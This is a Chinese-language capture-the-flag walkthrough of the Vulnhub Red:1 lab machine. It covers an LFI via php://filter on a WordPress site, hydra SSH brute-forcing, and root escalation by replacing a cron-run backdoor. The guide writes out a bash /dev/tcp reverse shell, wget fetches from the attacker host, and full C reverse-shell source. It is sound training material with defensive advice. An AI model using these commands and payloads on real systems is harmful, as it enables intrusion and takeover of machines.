Vulnhub Red:1靶机实战,真实的靶机与红队在线solo
字数 1546 2025-08-11 22:57:16

Vulnhub Red:1 靶机实战教学文档

环境搭建

  1. 靶机平台: VirtualBox
  2. 攻击机平台: VMware Workstation
  3. 网络配置:
    • 靶机网卡: 仅主机模式 (Virtual Host-Only)
    • 攻击机网卡: 桥接模式 (Virtual Host-Only)
    • 确保两台主机处于同一网段或路由互通

信息收集阶段

1. 主机发现

使用 arp-scan 扫描本地网络:

arp-scan -l

探测到靶机IP: 192.168.56.104

2. 端口扫描

使用 nmap 进行详细扫描:

nmap -T4 -A -v 192.168.56.104

发现开放端口:

  • 22: SSH服务
  • 80: HTTP服务

3. Web应用分析

访问Web页面发现:

  • 被篡改的WordPress页面
  • 提示"该页面已经被红方侵入"
  • 点击search跳转到 http://redrocks.win
  • Wappalyzer扫描确认使用WordPress CMS

4. 域名解析配置

修改本地hosts文件以访问redrocks.win:

192.168.56.104 redrocks.win

5. 源码分析

/hello-world 页面源码中发现提示:

"还在寻找吗?也许你应该向Miessler寻求帮助,但是无所谓,反正你也看不懂。"

工具准备

SecLists工具

  1. 在GitHub上找到Miessler的SecLists工具
  2. SecLists包含:
    • 用户名/密码字典
    • URL列表
    • 敏感数据模式
    • 模糊测试payload
    • WebShell等
  3. 重点关注 Discovery/Web-Content 目录下的字典文件

目录爆破

使用 gobuster 进行目录爆破:

gobuster dir -w /path/to/SecLists/Discovery/Web-Content/CommonBackdoors-PHP.fuzz.txt -x .php -u http://redrocks.win

发现可疑文件: NetworkFileManagerPHP.php (状态码500)

文件包含漏洞利用

1. 参数模糊测试

使用 wfuzz 测试隐藏参数:

wfuzz -c -u http://redrocks.win/NetworkFileManagerPHP.php?FUZZ=ls -w /path/to/burp-parameter-names.txt

发现有效参数: key

2. LFI验证

测试本地文件包含:

http://redrocks.win/NetworkFileManagerPHP.php?key=/etc/passwd

成功读取系统文件

3. PHP伪协议利用

读取PHP文件源码:

?key=php://filter/convert.base64-encode/resource=NetworkFileManagerPHP.php

解码后发现提示:

"That password alone won't help you! Hashcat says rules are rules"

4. 读取WordPress配置文件

?key=php://filter/convert.base64-encode/resource=wp-config.php

获取MySQL数据库凭据

密码破解

1. Hashcat规则应用

hashcat --stdout pass.txt -r /usr/share/hashcat/rules/best64.rule > passlist.txt

2. SSH爆破

使用 hydra 进行SSH爆破:

hydra -l john -P passlist.txt 192.168.56.104 ssh

成功密码: !!Gn1k_3r3hwl4m_v3R

维持访问

1. 反弹Shell

发现系统会自动踢出会话,建立反弹Shell:

sudo -u ippsec /usr/bin/time /bin/bash
bash -i >& /dev/tcp/192.168.56.103/6789 0>&1
python3 -c 'import pty;pty.spawn("/bin/bash")'

提权分析

1. 进程监控

使用 pspy64s 监控进程:

wget http://192.168.56.103:8000/pspy64s
chmod +x pspy64s
./pspy64s

发现后门程序:

  • /var/www/wordpress/.git/rev
  • /var/www/wordpress/.git/supersecretfileuc.c

2. 后门利用

  1. 删除原有文件:
rm /var/www/wordpress/.git/rev
rm /var/www/wordpress/.git/supersecretfileuc.c
  1. 创建C语言反弹Shell (使用revshells.com生成):
#include <stdio.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>

int main(void){
    int port = 6789;
    struct sockaddr_in revsockaddr;
    int sockt = socket(AF_INET, SOCK_STREAM, 0);
    revsockaddr.sin_family = AF_INET;
    revsockaddr.sin_port = htons(port);
    revsockaddr.sin_addr.s_addr = inet_addr("192.168.56.103");
    connect(sockt, (struct sockaddr *) &revsockaddr, sizeof(revsockaddr));
    dup2(sockt, 0);
    dup2(sockt, 1);
    dup2(sockt, 2);
    char * const argv[] = {"/bin/bash", NULL};
    execve("/bin/bash", argv, NULL);
    return 0;
}
  1. 上传到目标:
wget http://192.168.56.103:8000/supersecretfileuc.c -O /var/www/wordpress/.git/supersecretfileuc.c
  1. 等待root权限反弹Shell连接

获取Flag

  1. 用户flag: /home/oxdf/user.txt
  2. root flag: /root/root.txt

关键知识点总结

  1. 信息收集:

    • ARP扫描发现主机
    • Nmap端口扫描
    • Web应用指纹识别
  2. 漏洞利用:

    • 目录爆破技术
    • 文件包含漏洞(LFI)
    • PHP伪协议利用
  3. 密码破解:

    • Hashcat规则应用
    • Hydra爆破SSH
  4. 权限维持:

    • 反弹Shell技术
    • 终端稳定性处理
  5. 提权技术:

    • 进程监控(pspy)
    • 定时任务利用
    • C语言后门程序
  6. 防御对抗:

    • 对抗自动踢出机制
    • 绕过权限限制

防御建议

  1. 限制文件包含功能
  2. 加强SSH密码策略
  3. 监控.git目录访问
  4. 限制定时任务执行权限
  5. 定期检查系统后门程序
Vulnhub Red:1 靶机实战教学文档 环境搭建 靶机平台 : VirtualBox 攻击机平台 : VMware Workstation 网络配置 : 靶机网卡: 仅主机模式 (Virtual Host-Only) 攻击机网卡: 桥接模式 (Virtual Host-Only) 确保两台主机处于同一网段或路由互通 信息收集阶段 1. 主机发现 使用 arp-scan 扫描本地网络: 探测到靶机IP: 192.168.56.104 2. 端口扫描 使用 nmap 进行详细扫描: 发现开放端口: 22: SSH服务 80: HTTP服务 3. Web应用分析 访问Web页面发现: 被篡改的WordPress页面 提示"该页面已经被红方侵入" 点击search跳转到 http://redrocks.win Wappalyzer扫描确认使用WordPress CMS 4. 域名解析配置 修改本地hosts文件以访问redrocks.win: 5. 源码分析 在 /hello-world 页面源码中发现提示: "还在寻找吗?也许你应该向Miessler寻求帮助,但是无所谓,反正你也看不懂。" 工具准备 SecLists工具 在GitHub上找到Miessler的SecLists工具 SecLists包含: 用户名/密码字典 URL列表 敏感数据模式 模糊测试payload WebShell等 重点关注 Discovery/Web-Content 目录下的字典文件 目录爆破 使用 gobuster 进行目录爆破: 发现可疑文件: NetworkFileManagerPHP.php (状态码500) 文件包含漏洞利用 1. 参数模糊测试 使用 wfuzz 测试隐藏参数: 发现有效参数: key 2. LFI验证 测试本地文件包含: 成功读取系统文件 3. PHP伪协议利用 读取PHP文件源码: 解码后发现提示: "That password alone won't help you ! Hashcat says rules are rules" 4. 读取WordPress配置文件 获取MySQL数据库凭据 密码破解 1. Hashcat规则应用 2. SSH爆破 使用 hydra 进行SSH爆破: 成功密码: !!Gn1k_3r3hwl4m_v3R 维持访问 1. 反弹Shell 发现系统会自动踢出会话,建立反弹Shell: 提权分析 1. 进程监控 使用 pspy64s 监控进程: 发现后门程序: /var/www/wordpress/.git/rev /var/www/wordpress/.git/supersecretfileuc.c 2. 后门利用 删除原有文件: 创建C语言反弹Shell (使用revshells.com生成): 上传到目标: 等待root权限反弹Shell连接 获取Flag 用户flag: /home/oxdf/user.txt root flag: /root/root.txt 关键知识点总结 信息收集 : ARP扫描发现主机 Nmap端口扫描 Web应用指纹识别 漏洞利用 : 目录爆破技术 文件包含漏洞(LFI) PHP伪协议利用 密码破解 : Hashcat规则应用 Hydra爆破SSH 权限维持 : 反弹Shell技术 终端稳定性处理 提权技术 : 进程监控(pspy) 定时任务利用 C语言后门程序 防御对抗 : 对抗自动踢出机制 绕过权限限制 防御建议 限制文件包含功能 加强SSH密码策略 监控.git目录访问 限制定时任务执行权限 定期检查系统后门程序